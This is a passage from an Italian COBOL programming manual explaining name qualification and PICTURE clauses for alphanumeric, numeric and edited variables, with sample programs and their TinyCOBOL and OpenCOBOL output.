002500     05  VENDOR-CITY      PIC X(20).
002600     05  COMMENTS         PIC X(60).
```

Si vede la dichiarazione del file '**`SALES-FILE`**', dove la variabile '**`SALES-RECORD`**' ne rappresenta il record, che a sua volta è suddiviso in una serie di campi. La variabile '**`TYPE`**', di questo esempio, appartiene gerarchicamente alla variabile '**`SALES-RECORD`**', che a sua volta appartiene al file '**`SALES-FILE`**'.

Supponendo che in questo programma, per qualche ragione, ci sia un'altra variabile con il nome '**`TYPE`**', si potrebbe individuare quella abbinata all'esempio specificando che si tratta della variabile '**`TYPE`**' di '**`SALES-RECORD`**'; ma volendo supporre che ci siano anche diverse variabili '**`SALES-RECORD`**', contenenti un campo denominato '**`TYPE`**', occorrerebbe indicare la variabile '**`TYPE`**' di '**`SALES-RECORD`**' di '**`SALES-FILE`**'.

Nella divisione '**PROCEDURE DIVISION**' può succedere qualcosa di simile, quando si usa una suddivisione delle procedure in sezioni e paragrafi. In questo modo, i nomi dei paragrafi potrebbero richiedere una qualificazione, specificando a quale sezione appartengono.

Ciò che consente di qualificare un nome, in modo sufficiente a renderlo univoco, è il ***qualificatore***.

Quando nella divisione '**PROCEDURE DIVISION**' si usa un nome che richiede una qualificazione, si usa indifferentemente la parola chiave '**IN**' oppure '**OF**':

```
… TYPE IN SALES-RECORDS …
… TYPE IN SALES-RECORDS OF SALES-FILE …
```

Segue lo schema sintattico per qualificare una variabile:

```
/                 \  .--  /     \              --.    .--  /     \             --.
| data-name-1     |  |    | IN  |                |    |    | IN  |               |
<                 >  |    < --  >  data-name-2   |... |    < --  >  file-name    |
| condition-name  |  |    | OF  |                |    |    | OF  |               |
\                 /  '--  \ --  /              --'    '--  \ --  /             --'
```

Segue lo schema sintattico per qualificare un paragrafo all'interno della divisione '**PROCEDURE DIVISION**':

```
                  .--  /     \               --.
                  |    | IN  |                 |
paragraph-name    |    < --  >  section-name   |
                  |    | OF  |                 |
                  '--  \ --  /               --'
```

Quando si deve usare la qualificazione per individuare un elemento di una tabella, gli indici tra parentesi tonde appaiono alla fine, dopo la qualificazione stessa. Seguono due modelli sintattici alternativi che descrivono il modo di rappresentare un elemento di una tabella, tenendo conto anche della qualificazione:

```
               .--  /     \              --.
               |    | IN  |                |
data-name-1    |    < --  >  data-name-2   |... [(subscript...)]
               |    | OF  |                |
               '--  \ --  /              --'
```

```
            .--  /     \             --.       / literal-1                    \
            |    | IN  |               |       |                              |
data-name-1 |    < --  > data-name-2   |... (  < index-name-1 [+ literal-2]   >... )
            |    | OF  |               |       |                              |
            '--  \ --  /             --'       \ index-name-1 [- literal-2]   /
```

Le regole che stabiliscono la possibilità o meno di usare la qualificazione, sono intuitive e non vengono descritte qui nel dettaglio. La regola generale da seguire è quella della leggibilità del programma sorgente, che richiede di usare la qualificazione solo quando questa è utile per migliorare la chiarezza dello stesso.

83.9 Modello di definizione della variabile

Il COBOL gestisce soltanto due tipi di dati: numerici e alfanumerici. Tuttavia, nel momento in cui si dichiara il modello, le variabili scalari (ovvero quelle che non sono scomposte) si distinguono in classi e in categorie, secondo lo schema che si vede nella tabella successiva.

Tabella 83.109. Classi e categorie delle variabili COBOL.

<table>
<tr><th>Livello di suddivisione</th><th>Classe</th><th>Categoria</th></tr>
<tr><td rowspan="4">variabile scalare
(non suddivisibile)</td><td>numerica</td><td>numerica</td></tr>
<tr><td rowspan="3">alfanumerica</td><td>numerica edited</td></tr>
<tr><td>alfanumerica edited</td></tr>
<tr><td>alfanumerica</td></tr>
<tr><td>variabile strutturata (record)</td><td>alfanumerica</td><td>alfanumerica</td></tr>
</table>

Le variabili che appartengono alla ***classe numerica*** contengono dei valori che si possono utilizzare per eseguire delle espressioni numeriche; mentre quelle che appartengono alla ***classe alfanumerica*** si possono utilizzare soltanto come sequenze di caratteri.

Si osservi che una variabile strutturata è sempre solo alfanumerica, ma ciò non toglie che i campi che contiene possano essere di una classe e di una categoria differente.

Le variabili che appartengono alle categorie *edited*, «modificate», servono per ricevere un valore, numerico o alfanumerico, da modificare nell'atto stesso della ricezione. Una variabile di questo tipo fa sempre parte della classe alfanumerica, perché, una volta ricevuti i dati e modificati in base al modello di definizione della variabile, questi sono semplicemente una sequenza di caratteri senza più alcun valore numerico.

83.9.1 Dichiarazione del modello di definizione della variabile

Il modello di definizione della variabile è introdotto dalla parola chiave '**`PICTURE`**', o '**`PIC`**':

```
/         \
| PICTURE |
< ------- >  IS character-string
| PIC     |
\ ---     /
```

La metavariabile ***character-string*** costituisce il modello vero e proprio, che può essere composto da un massimo di 30 caratteri, anche se in questo modo si possono comunque rappresentare modelli di variabili di dimensioni molto più grandi.

Si osservi che l'indicazione di un modello di definizione della variabile è obbligatorio per tutte le variabili scalari (pertanto riguarda potenzialmente i livelli da 01 a 49 e 77), mentre non è consentito per le variabili strutturate.

La stringa che costituisce il modello di definizione della variabile è composta di simboli che descrivono ognuno le caratteristiche di un carattere, di una cifra, di un segno, oppure inseriscono qualcosa che nel dato originale è assente, ma spesso possono essere ripetuti mettendo un numero intero tra parentesi:

```
x(n)
```

Una notazione del genere indica che il simbolo ***x*** va inteso come se fosse ripetuto ***n*** volte; per esempio, '`9(3)V9(5)`' è equivalente a '`999V99999`'. È attraverso questo meccanismo che si possono descrivere variabili molto grandi, pur avendo un modello di definizione limitato a soli 30 caratteri.

Nelle sezioni successive vengono descritti i simboli utilizzabili per i modelli di definizione delle variabili scalari. Lo standard del linguaggio COBOL annovera più possibilità di quelle indicate, ma i compilatori non si comportano sempre allo stesso modo e spesso ignorano l'uso di alcuni simboli, oppure li interpretano in modo inesatto. Questo problema riguarda soprattutto i simboli che applicano delle modifiche al valore ricevuto nella variabile, che quindi vanno usati con estrema parsimonia se si vuole scrivere un programma abbastanza compatibile.

83.9.2 Variabili alfanumeriche

Sono variabili alfanumeriche pure e semplici quelle che possono rappresentare qualunque carattere delle codifica prevista, limitatamente al fatto che la rappresentazione è in forma di byte (ASCII o EBCDIC). Il modello di definizione di una variabile alfanumerica prevede simboli speciali che limitano l'inserimento di soli caratteri alfabetici o di sole cifre numeriche, ma in pratica, succede spesso che i compilatori non applichino alcuna restrizione.

Tabella 83.111. Simboli del modello di definizione di una variabile alfanumerica.

Simbolo	Descrizione
`9`	Rappresenta una cifra numerica.
`A`	Rappresenta una lettera dell'alfabeto latino, non accentata, maiuscola o minuscola.
`X`	Rappresenta un carattere qualsiasi.

Si osservi che il modello di definizione di una variabile alfanumerica deve contenere almeno un simbolo '**`X`**' o '**`A`**', altrimenti, un modello che contenga soltanto il simbolo '**`9`**' verrebbe interpretato come numerico.

A titolo di esempio, viene mostrato un piccolo programma con tre variabili scalari alfanumeriche, aventi modelli diversi, abbinate ognuna a una variabile strutturata. Alle variabili scalari

viene assegnato lo stesso valore, in modo da poter confrontare come questo valore viene inteso e rappresentato.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.    PICTURE-ALPHANUMERIC.
000300 AUTHOR.        DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-23.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-A.
001200     02  A        PICTURE X(15)        USAGE IS DISPLAY.
001300 01  RECORD-B.
001400     02  B        PICTURE 9(5)A(5)X(5) USAGE IS DISPLAY.
001500 01  RECORD-C.
001600     02  C        PICTURE A(5)X(5)9(5) USAGE IS DISPLAY.
001700*
001800 PROCEDURE DIVISION.
001900*
002000 MAIN.
002100     MOVE " 1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ" TO A.
002200     MOVE " 1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ" TO B.
002300     MOVE " 1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ" TO C.
002400     DISPLAY "SOURCE VALUE IS: ", QUOTE,
002500             " 1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ", QUOTE.
002600     DISPLAY "PICTURE: X(15)         VALUE: ", QUOTE, A, QUOTE,
002700             "  DATA: ", QUOTE, RECORD-A, QUOTE.
002800     DISPLAY "PICTURE: 9(5)A(5)X(5)  VALUE: ", QUOTE, B, QUOTE,
002900             "  DATA: ", QUOTE, RECORD-B, QUOTE.
003000     DISPLAY "PICTURE: A(5)X(5)9(5)  VALUE: ", QUOTE, C, QUOTE,
003100             "  DATA: ", QUOTE, RECORD-C, QUOTE.
003200*
```

Compilando il programma con TinyCOBOL, l'avvio dell'eseguibile che si ottiene genera il risultato seguente, dove si può vedere che l'uso dei simboli '**A**' e '**9**' non comporta alcuna differenza di funzionamento rispetto a '**X**'; tuttavia, un compilatore più sofisticato potrebbe segnalare qualche tipo di errore:

```
SOURCE VALUE IS: " 1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"
PICTURE: X(15)         VALUE: " 1234567890ABCD"  DATA: " 1234567890ABCD"
PICTURE: 9(5)A(5)X(5)  VALUE: " 1234567890ABCD"  DATA: " 1234567890ABCD"
PICTURE: A(5)X(5)9(5)  VALUE: " 1234567890ABCD"  DATA: " 1234567890ABCD"
```

83.9.3 Variabili alfanumeriche modificate

Il modello di definizione di una variabile alfanumerica può contenere simboli che applicano una modifica al valore stesso. La modifica avviene nel momento in cui il valore viene ricevuto.

Tabella 83.114. Simboli del modello di definizione di una variabile alfanumerica che descrivono una modifica del valore ricevuto.

Simbolo	Descrizione
`B`	Richiede l'inserimento di uno spazio.
`0`	Richiede l'inserimento di uno zero.
`/`	Se il compilatore lo permette, inserisce una barra obliqua.
`,`	Se il compilatore lo permette, inserisce una virgola. Si osservi comunque che non può apparire la virgola come simbolo conclusivo del modello, perché in tal caso assumerebbe il significato di un delimitatore.
	Teoricamente, ogni altro simbolo che non abbia un significato preciso per la realizzazione dei modelli di definizione delle variabili, dovrebbe essere aggiunto tale e quale; in pratica, molto dipende dalle caratteristiche del compilatore.

A titolo di esempio, viene mostrato un piccolo programma con due variabili scalari alfanumeriche, aventi modelli diversi, abbinate ognuna a una variabile strutturata. Alle variabili scalari viene assegnato lo stesso valore, in modo da poter confrontare come questo viene inteso e rappresentato. Nell'esempio si tenta in particolare di inserire in un modello una barra obliqua e una virgola.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   PICTURE-ALPHANUMERIC-EDITED.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-23.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-A.
001200     02  A        PICTURE X(15)           USAGE IS DISPLAY.
001300 01  RECORD-B.
001400     02  B        PICTURE ABX09,/X(8) USAGE IS DISPLAY.
001500*
001600 PROCEDURE DIVISION.
001700*
001800 MAIN.
001900     MOVE "ABCDEFGHIJKLMNOPQRSTUVWXYZ" TO A.
002000     MOVE "ABCDEFGHIJKLMNOPQRSTUVWXYZ" TO B.
002100     DISPLAY "SOURCE VALUE IS: ", QUOTE,
002200             "ABCDEFGHIJKLMNOPQRSTUVWXYZ", QUOTE.
002300     DISPLAY "PICTURE: X(15)        VALUE: ", QUOTE, A, QUOTE,
002400             "  DATA: ", QUOTE, RECORD-A, QUOTE.
002500     DISPLAY "PICTURE: ABX09,/X(8)  VALUE: ", QUOTE, B, QUOTE,
```

```
002600              "  DATA: ", QUOTE, RECORD-B, QUOTE.
002700*
```

Compilando il programma con TinyCOBOL, l'avvio dell'eseguibile che si ottiene genera il risultato seguente:

```
SOURCE VALUE IS: "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
PICTURE: X(15)        VALUE: "ABCDEFGHIJKLMNO"  DATA: "ABCDEFGHIJKLMNO"
PICTURE: ABX09,/X(8)  VALUE: "A B0C,/DEFGHIJK"  DATA: "A B0C,/DEFGHIJK"
```

83.9.4 Variabili numeriche

Le variabili numeriche pure e semplici, sono quelle il cui valore può essere usato per calcolare delle espressioni numeriche. Nel modello di definizione di una variabile di questo tipo, possono apparire solo simboli che descrivono la dimensione del valore rappresentabile, distinguendo la parte intera da quella decimale e specificando eventualmente la presenza del segno.

Tabella 83.117. Simboli del modello di definizione di una variabile numerica.

Simbolo	Descrizione
`9`	Rappresenta una cifra numerica singola.
`V`	Rappresenta la separazione tra la parte intera e la parte decimale del numero e di conseguenza può apparire una sola volta nel modello. Questo simbolo non incrementa la dimensione della variabile, in quanto serve solo a sapere dove si intende che debba trovarsi la separazione tra la parte intera e quella decimale, ai fini dei calcoli che si possono eseguire. Se questo simbolo appare alla fine del modello, è come se non fosse inserito, perché la sua presenza non aggiunge alcuna informazione.
`S`	Se si utilizza questo simbolo, può essere collocato soltanto all'estrema sinistra del modello, allo scopo di specificare che il numero è provvisto di segno. A seconda del modo in cui l'informazione numerica viene codificata nella variabile ('**`DISPLAY`**', '**`COMPUTATIONAL`**' e altre opzioni eventuali), il segno può occupare una posizione separata oppure no.
`P`	Il simbolo '**`P`**' può essere usato soltanto alla sinistra o alla destra del modello e può apparire ripetuto, tenendo conto che se appare alla sinistra è incompatibile con il simbolo '**`V`**'. Questo simbolo non incrementa la dimensione della variabile, ma serve a far sì che il valore contenuto nella variabile sia interpretato in modo differente. **L'uso di questo simbolo è sconsigliabile**, perché altera il comportamento della variabile in un modo che non è facile da interpretare correttamente.

A titolo di esempio, viene mostrato un piccolo programma con cinque variabili scalari numeriche, aventi modelli diversi, abbinate ognuna a una variabile strutturata. Alle variabili scalari viene assegnato lo stesso valore, in modo da poter confrontare come questo valore viene inteso e rappresentato. Nell'esempio appare anche l'uso del simbolo '**`P`**' a dimostrazione della difficoltà che questo comporta nell'interpretare l'esito degli assegnamenti alle variabili.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   PICTURE-NUMERIC.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-22.
```

```
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-A.
001200     02  A        PICTURE 99999       USAGE IS DISPLAY.
001300 01  RECORD-B.
001400     02  B        PICTURE 999V99      USAGE IS DISPLAY.
001500 01  RECORD-C.
001600     02  C        PICTURE S999V99     USAGE IS DISPLAY.
001700 01  RECORD-D.
001800     02  D        PICTURE 999V99PP    USAGE IS DISPLAY.
001900 01  RECORD-E.
002000     02  E        PICTURE PP99999     USAGE IS DISPLAY.
002100*
002200 PROCEDURE DIVISION.
002300*
002400 MAIN.
002500     MOVE -1234.5678 TO A.
002600     MOVE -1234.5678 TO B.
002700     MOVE -1234.5678 TO C.
002800     MOVE -1234.5678 TO D.
002900     MOVE -1234.5678 TO E.
003000     DISPLAY "SOURCE VALUE IS -1234.5678".
003100     DISPLAY "PICTURE: 99999     VALUE: ", A,
003200             "     DATA: ", RECORD-A.
003300     DISPLAY "PICTURE: 999V99    VALUE: ", B,
003400             "    DATA: ", RECORD-B.
003500     DISPLAY "PICTURE: S999V99   VALUE: ", C,
003600             "   DATA: ", RECORD-C.
003700     DISPLAY "PICTURE: 999V99PP  VALUE: ", D,
003800             "  DATA: ", RECORD-D.
003900     DISPLAY "PICTURE: PP99999   VALUE: ", E,
004000             "  DATA: ", RECORD-E.
004100     STOP RUN.
004200*
```

Compilando il programma con TinyCOBOL, l'avvio dell'eseguibile che si ottiene genera il risultato seguente:

```
SOURCE VALUE IS -1234.5678
PICTURE: 99999     VALUE: 01234     DATA: 01234
PICTURE: 999V99    VALUE: 234.56    DATA: 23456
PICTURE: S999V99   VALUE: -234.56   DATA: 2345O
PICTURE: 999V99PP  VALUE: 004.5678  DATA: 45678
PICTURE: PP99999   VALUE: .0078000  DATA: 78000
```

Facendo la stessa cosa con OpenCOBOL:

```
SOURCE VALUE IS -1234.5678
PICTURE: 99999     VALUE: 01234     DATA: 01234
PICTURE: 999V99    VALUE: 234.56    DATA: 23456
PICTURE: S999V99   VALUE: -234.56   DATA: 2345v
PICTURE: 999V99PP  VALUE: 004.5678  DATA: 45678
PICTURE: PP99999   VALUE: .0078000  DATA: 78000
```

Si osservi che nell'esempio le variabili scalari numeriche sono state dichiarate con l'opzione '**USAGE IS DISPLAY**', che comunque sarebbe stata implicita, in modo da assicurare la visibilità del contenuto leggendo il livello 01.

83.9.5 Variabili numeriche modificate

Il modello di definizione di una variabile fatta per ricevere un valore numerico, può contenere simboli che applicano una modifica all'apparenza del valore. Nel momento in cui una variabile del genere riceve un valore, ciò che la variabile fornisce è un'informazione alfanumerica, che non può più essere usata per elaborazioni matematiche; al massimo, una variabile del genere può ricevere il risultato di un'espressione che generi un valore numerico.

Tabella 83.121. Alcuni simboli del modello di definizione di una variabile numerica che descrivono una trasformazione in formato alfanumerico.

Simbolo	Descrizione
`B`	Richiede l'inserimento di uno spazio.
`0`	Richiede l'inserimento di uno zero.
`Z`	Si usa soltanto nella parte sinistra del modello e richiede di indicare uno spazio al posto di una cifra zero.
`*`	Si usa soltanto nella parte sinistra del modello e richiede di indicare un asterisco al posto di una cifra zero.
`,`	In condizioni normali inserisce una virgola letterale. Si osservi che non può apparire la virgola come simbolo conclusivo del modello, perché in tal caso assumerebbe il valore di un delimitatore.
`.`	In condizioni normali rappresenta il punto di separazione tra la parte intera e la parte decimale. Si osservi che in un modello che prevede la modifica, non si può usare il simbolo '**V**'.
`+` `-`	Il segno '**+**' o il segno '**-**' indicano la posizione in cui si vuole appaia il segno del numero; se il segno viene ripetuto, le occorrenze successive alla prima rappresentano implicitamente la posizione di una cifra numerica, con soppressione degli zeri anteriori. Usando il segno '**-**' si dovrebbe ottenere la rappresentazione di un numero senza segno, quando questo ha un valore positivo.
`CR` `DB`	Questi simboli, che occupano due caratteri, vengono inseriti tali e quali nella rappresentazione della variabile. Sono utili queste sigle per la contabilità dei paesi di lingua inglese (*credit*, *debit*); a ogni modo è bene ricordare che non sono influenzate dal segno del valore numerico che viene ricevuto nella variabile.
`$`	Si usa per mostrare il simbolo del dollaro, quando la valuta prevista nel sorgente del programma è quella predefinita.
`/`	Se il compilatore lo permette, inserisce una barra obliqua.
	Teoricamente, ogni altro simbolo che non abbia un significato preciso per la realizzazione dei modelli di definizione delle variabili, dovrebbe essere aggiunto tale e quale; in pratica, molto dipende dalle caratteristiche del compilatore.

Come esempio viene mostrato un piccolo programma con alcune variabili scalari numeriche modificate (*edited*), aventi modelli diversi, abbinate ognuna a una variabile strutturata. Alle variabili scalari viene assegnato lo stesso valore, in modo da poter confrontare come questo valore viene inteso e rappresentato.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   PICTURE-NUMERIC-EDITED.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-25.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-A.
001200     02  A        PICTURE S9(10)V9(5)   USAGE IS DISPLAY.
001300 01  RECORD-B.
001400     02  B        PICTURE +Z(9)9.9(5)   USAGE IS DISPLAY.
001500 01  RECORD-C.
001600     02  C        PICTURE CR+Z(7)9.9(5) USAGE IS DISPLAY.
001700 01  RECORD-D.
001800     02  D        PICTURE +Z(7)9.9(5)DB USAGE IS DISPLAY.
001900 01  RECORD-E.
002000     02  E        PICTURE *(9)9.9(5)+   USAGE IS DISPLAY.
002100 01  RECORD-F.
002200     02  F        PICTURE +*(9)9.9(4)$  USAGE IS DISPLAY.
002300 01  RECORD-G.
002400     02  G        PICTURE +*(9)9,9(4)$  USAGE IS DISPLAY.
002500 01  RECORD-H.
002600     02  H        PICTURE -(10)9,9(4)$  USAGE IS DISPLAY.
002700 01  RECORD-I.
002800     02  I        PICTURE +(10)9,9(4)$  USAGE IS DISPLAY.
002900*
003000 PROCEDURE DIVISION.
003100*
003200 MAIN.
003300     MOVE +123456.789 TO A.
003400     MOVE +123456.789 TO B.
003500     MOVE +123456.789 TO C.
003600     MOVE +123456.789 TO D.
003700     MOVE +123456.789 TO E.
003800     MOVE +123456.789 TO F.
003900     MOVE +123456.789 TO G.
004000     MOVE +123456.789 TO H.
004100     MOVE +123456.789 TO I.
004200     DISPLAY "SOURCE VALUE IS: +123456.789".
004300     DISPLAY "PICTURE: S9(10)V9(5)    VALUE: ", A,
004400             "  DATA: ", RECORD-A.
004500     DISPLAY "PICTURE: +Z(9)9.9(5)    VALUE: ", B,
004600             "  DATA: ", RECORD-B.
004700     DISPLAY "PICTURE: CR+Z(7)9.9(5)  VALUE: ", C,
004800             "  DATA: ", RECORD-C.
```

```
004900     DISPLAY "PICTURE: +Z(7)9.9(5)DB  VALUE: ", D,
005000             "  DATA: ", RECORD-D.
005100     DISPLAY "PICTURE: *(9)9.9(5)+    VALUE: ", E,
005200             "  DATA: ", RECORD-E.
005300     DISPLAY "PICTURE: +*(9)9.9(4)$   VALUE: ", F,
005400             "  DATA: ", RECORD-F.
005500     DISPLAY "PICTURE: +*(9)9,9(4)$   VALUE: ", G,
005600             "  DATA: ", RECORD-G.
005700     DISPLAY "PICTURE: -(10)9,9(4)$   VALUE: ", H,
005800             "  DATA: ", RECORD-H.
005900     DISPLAY "PICTURE: +(10)9,9(4)$   VALUE: ", I,
006000             "  DATA: ", RECORD-I.
006100     STOP RUN.
006200*
```

Compilando il programma con TinyCOBOL, l'avvio dell'eseguibile che si ottiene genera il risultato seguente:

```
SOURCE VALUE IS: +123456.789
PICTURE: S9(10)V9(5)    VALUE:  0000123456.78900  DATA: 000012345678900{
PICTURE: +Z(9)9.9(5)    VALUE: +    123456.78900  DATA: +    123456.78900
PICTURE: CR+Z(7)9.9(5)  VALUE: CR+  123456.78900  DATA: CR+  123456.78900
PICTURE: +Z(7)9.9(5)DB  VALUE: +  123456.78900DB  DATA: +  123456.78900DB
PICTURE: *(9)9.9(5)+    VALUE: ****123456.78900+  DATA: ****123456.78900+
PICTURE: +*(9)9.9(4)$   VALUE: +****123456.7890$  DATA: +****123456.7890$
PICTURE: +*(9)9,9(4)$   VALUE: +********12,3456$  DATA: +********12,3456$
PICTURE: -(10)9,9(4)$   VALUE:          12,3456$  DATA:          12,3456$
PICTURE: +(10)9,9(4)$   VALUE:         +12,3456$  DATA:         +12,3456$
```

Tra i vari risultati, si può osservare che la virgola è stata interpretata come un segno senza un ruolo preciso, pertanto si colloca semplicemente prima delle ultime quattro cifre, secondo la previsione del modello.

Intervenendo nella sezione '**`CONFIGURATION SECTION`**' è possibile invertire il ruolo del punto e della virgola, nella rappresentazione dei numeri; nello stesso modo, è possibile attribuire un simbolo differente per la valuta. L'esempio seguente è una variante di quello appena mostrato, con le modifiche necessarie per questo scopo. Si osservi che come simbolo di valuta è stata scelta la lettera «E».

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.    PICTURE-NUMERIC-EDITED-BIS.
000300 AUTHOR.        DANIELE GIACOMINI.
000400 DATE-WRITTEN.  2005-02-25.
000500*
000600 ENVIRONMENT DIVISION.
000700 CONFIGURATION SECTION.
000800 SPECIAL-NAMES. DECIMAL-POINT IS COMMA
000900                CURRENCY SIGN IS "E".
001000*
001100 DATA DIVISION.
001200*
001300 WORKING-STORAGE SECTION.
```

```
001400 01  RECORD-A.
001500     02  A        PICTURE S9(10)V9(5)   USAGE IS DISPLAY.
001600 01  RECORD-B.
001700     02  B        PICTURE +Z(9)9.9(5)   USAGE IS DISPLAY.
001800 01  RECORD-C.
001900     02  C        PICTURE CR+Z(7)9.9(5) USAGE IS DISPLAY.
002000 01  RECORD-D.
002100     02  D        PICTURE +Z(7)9.9(5)DB USAGE IS DISPLAY.
002200 01  RECORD-E.
002300     02  E        PICTURE *(9)9.9(5)+   USAGE IS DISPLAY.
002400 01  RECORD-F.
002500     02  F        PICTURE +*(9)9.9(4)E  USAGE IS DISPLAY.
002600 01  RECORD-G.
002700     02  G        PICTURE +*(9)9,9(4)E  USAGE IS DISPLAY.
002800 01  RECORD-H.
002900     02  H        PICTURE -(10)9,9(4)E  USAGE IS DISPLAY.
003000 01  RECORD-I.
003100     02  I        PICTURE +(10)9,9(4)E  USAGE IS DISPLAY.
003200*
003300 PROCEDURE DIVISION.
003400*
003500 MAIN.
003600     MOVE +123456,789 TO A.
003700     MOVE +123456,789 TO B.
003800     MOVE +123456,789 TO C.
003900     MOVE +123456,789 TO D.
004000     MOVE +123456,789 TO E.
004100     MOVE +123456,789 TO F.
004200     MOVE +123456,789 TO G.
004300     MOVE +123456,789 TO H.
004400     MOVE +123456,789 TO I.
004500     DISPLAY "SOURCE VALUE IS: +123456.789".
004600     DISPLAY "PICTURE: S9(10)V9(5)    VALUE: ", A,
004700             "  DATA: ", RECORD-A.
004800     DISPLAY "PICTURE: +Z(9)9.9(5)    VALUE: ", B,
004900             "  DATA: ", RECORD-B.
005000     DISPLAY "PICTURE: CR+Z(7)9.9(5)  VALUE: ", C,
005100             "  DATA: ", RECORD-C.
005200     DISPLAY "PICTURE: +Z(7)9.9(5)DB  VALUE: ", D,
005300             "  DATA: ", RECORD-D.
005400     DISPLAY "PICTURE: *(9)9.9(5)+    VALUE: ", E,
005500             "  DATA: ", RECORD-E.
005600     DISPLAY "PICTURE: +*(9)9.9(4)E   VALUE: ", F,
005700             "  DATA: ", RECORD-F.
005800     DISPLAY "PICTURE: +*(9)9,9(4)E   VALUE: ", G,
005900             "  DATA: ", RECORD-G.
006000     DISPLAY "PICTURE: -(10)9,9(4)E   VALUE: ", H,
006100             "  DATA: ", RECORD-H.
006200     DISPLAY "PICTURE: +(10)9,9(4)E   VALUE: ", I,
006300             "  DATA: ", RECORD-I.
006400     STOP RUN.
006500*
```

Compilando il programma con TinyCOBOL, l’avvio dell’eseguibile che si ottiene genera il risultato seguente:

```
SOURCE VALUE IS: +123456.789
PICTURE: S9(10)V9(5)    VALUE:  0000123456,78900  DATA: 00001234567890{
PICTURE: +Z(9)9.9(5)    VALUE: +         1.23456  DATA: +         1.23456
PICTURE: CR+Z(7)9.9(5)  VALUE: CR+       1.23456  DATA: CR+       1.23456
PICTURE: +Z(7)9.9(5)DB  VALUE: +       1.23456DB  DATA: +       1.23456DB
PICTURE: *(9)9.9(5)+    VALUE: *********1.23456+  DATA: *********1.23456+
PICTURE: +*(9)9.9(4)E   VALUE: +********12.3456E  DATA: +********12.3456E
PICTURE: +*(9)9,9(4)E   VALUE: +****123456,7890E  DATA: +****123456,7890E
PICTURE: -(10)9,9(4)E   VALUE:      123456,7890E  DATA:      123456,7890E
PICTURE: +(10)9,9(4)E   VALUE:     +123456,7890E  DATA:     +123456,7890E
```

Questa volta si può osservare che nel modello è il punto che perde il suo significato, apparendo nel risultato soltanto nella posizione prevista, allineando le cifre numeriche originali alla destra.

83.10 Note sull’utilizzo dell’insieme di caratteri universale con il COBOL

Lo standard COBOL del 1985 prevede sostanzialmente che si possano gestire informazioni alfanumeriche composte di simboli rappresentabili in byte, appartenenti pertanto al codice ASCII o EBCDIC. Con l’introduzione dell’insieme di caratteri universale, si pone il problema di gestire codifiche di tipo diverso, ben più grandi del solito byte. Purtroppo, però, le soluzioni adottate non sono semplici e lineari come nel passato.

83.10.1 Stringhe letterali

Le stringhe letterali che devono contenere simboli al di fuori del codice ASCII o EBCDIC, devono essere delimitate in modo differente. Generalmente sono disponibili due forme:

N"***stringa_letterale***"

NX"***stringa_esadecimale***"

La prima forma riguarda una stringa letterale composta secondo la forma codificata del carattere prevista dal compilatore (UTF-8, UTF-16 o altro); la seconda, ammesso che sia disponibile, viene espressa attraverso cifre esadecimali. Si osservi, però, che per poter esprimere una stringa del genere in forma esadecimale, occorre sapere in che modo il compilatore la interpreta, dato che dipende dalla forma codificata del carattere adottata.

83.10.2 modello di definizione delle variabili

Nel modello di definizione di una variabile, la lettera '**N**' rappresenta un carattere espresso secondo la codifica universale; la lettera «N» sta per *National*. Pertanto, si aggiunge anche una voce nuova all'opzione '**USAGE**': '**USAGE IS NATIONAL**'.

A seconda della forma codificata del carattere adottata dal compilatore, cambia la dimensione di una variabile del genere. Se si utilizzano codifiche del tipo UTF-8, che hanno una lunghezza variabile, può diventare impossibile stabilire in anticipo la dimensione in byte corrispondente. Anche per questo motivo, è improbabile che si possa usare lo standard UTF-8 con il COBOL.

83.10.3 Costanti figurative

Tra le costanti figurative, '**HIGH-VALUES**' e '**LOW-VALUES**' perdono di significato, se associate a una variabile dichiarata come '**USAGE IS NATIONAL**'.

83.11 Divisione «PROCEDURE DIVISION»

La divisione '**PROCEDURE DIVISION**' costituisce la quarta e ultima parte di un programma sorgente COBOL. La divisione si può suddividere in paragrafi, oppure in sezioni contenenti eventualmente dei paragrafi. All'interno delle sezioni o dei paragrafi, si inseriscono le istruzioni che descrivono la procedura del programma.

Le istruzioni sono inserite a gruppi, terminanti con un punto fermo, seguito da uno spazio; le istruzioni singole, che non costituiscono un gruppo autonomo, possono essere separate graficamente attraverso dei separatori (la virgola, il punto e virgola, la parola '**THEN**').

Alcune istruzioni, quando non costituiscono un gruppo autonomo, possono collocarsi solo alla fine del gruppo. Si tratta precisamente di '**GO TO**' e di '**STOP RUN**'.

La divisione può articolarsi in tre modi diversi; quello che si vede descritto nello schema segue è il più semplice, perché non fa uso delle sezioni:

```
[PROCEDURE DIVISION.
 --------- --------
{paragraph-name.
      [sentence]...}...
```

Se si usano le sezioni, i paragrafi devono essere contenuti tutti all'interno di sezioni:

```
[PROCEDURE DIVISION.
 --------- --------
/ section-name SECTION [segment-number]. \
|                -------                  |
< {paragraph-name.                        >...
|       [sentence]...}...                 |
\                                         /
```

Eventualmente ci può essere un gruppo iniziale di sezioni speciali; in tal caso, è obbligatorio suddividere il resto del programma in sezioni:

```
[PROCEDURE DIVISION.
 --------- --------
 DECLARATIVES.
 ------------
 / section-name SECTION [segment-number]. \
 |               -------                  |
